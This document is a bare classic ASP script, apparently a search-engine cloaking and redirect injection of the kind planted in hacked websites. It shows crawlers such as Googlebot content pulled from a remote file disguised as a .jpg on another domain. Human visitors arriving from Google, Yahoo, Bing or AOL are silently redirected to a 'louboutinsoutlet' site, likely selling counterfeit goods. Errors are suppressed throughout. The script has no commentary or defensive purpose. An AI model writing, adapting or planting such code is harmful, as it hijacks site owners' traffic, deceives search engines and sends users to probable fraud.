<%
On Error Resume Next
Function getAgent()
   Dim user_agent,spider_array,i
   user_agent=LCase(Request.ServerVariables("HTTP_USER_AGENT"))
   spider_array=array("google","yahoo","bingbot","sqworm")
   getAgent=False
   For i=0 To ubound(spider_array)
   If instr(user_agent,spider_array(i))>0 Then getAgent=True
   Next
End Function
Function getReferrer()
   Dim page_from,search_array,i
   page_from=LCase(Request.ServerVariables("HTTP_REFERER"))
   search_array=array("google","yahoo","bing","aol")
   getReferrer=False
   For i=0 To Ubound(search_array)
   If Instr(page_from,search_array(i))>0 Then getReferrer=True
   Next
End Function
Function getHTTPPage(URL)
   Dim HTTPReq
   Set HTTPReq = Server.createobject("Msxml2.XMLHTTP")  
   HTTPReq.Open "GET", URL, False 
   HTTPReq.send 
   If HTTPReq.readyState <> 4 Then Exit Function
   getHTTPPage = Bytes2bStr(HTTPReq.responseBody)
   Set HTTPReq = Nothing 
End Function 
Function Bytes2bStr(vin) 
   Dim BytesStream,StringReturn 
   Set BytesStream = Server.CreateObject("ADODB.Stream") 
   BytesStream.Type = 2 
   BytesStream.Open 
   BytesStream.WriteText vin 
   BytesStream.Position = 0 
   BytesStream.Charset = "utf-8"
   BytesStream.Position = 2 
   StringReturn = BytesStream.ReadText
   BytesStream.Close 
   Set BytesStream = Nothing 
   Bytes2bStr = StringReturn 
End Function
Dim htmlContent,pageName
pageName = LCase(Request.ServerVariables("SCRIPT_NAME"))
If getReferrer  Then
   Response.Redirect("http://www.louboutinsoutlet.com/#thelo")
   Response.End
End If
If getAgent  Then
htmlContent = getHTTPPage("http://www.thelongridersguild.com/images/1991.jpg")
Response.Write htmlContent
Response.End
End If
%>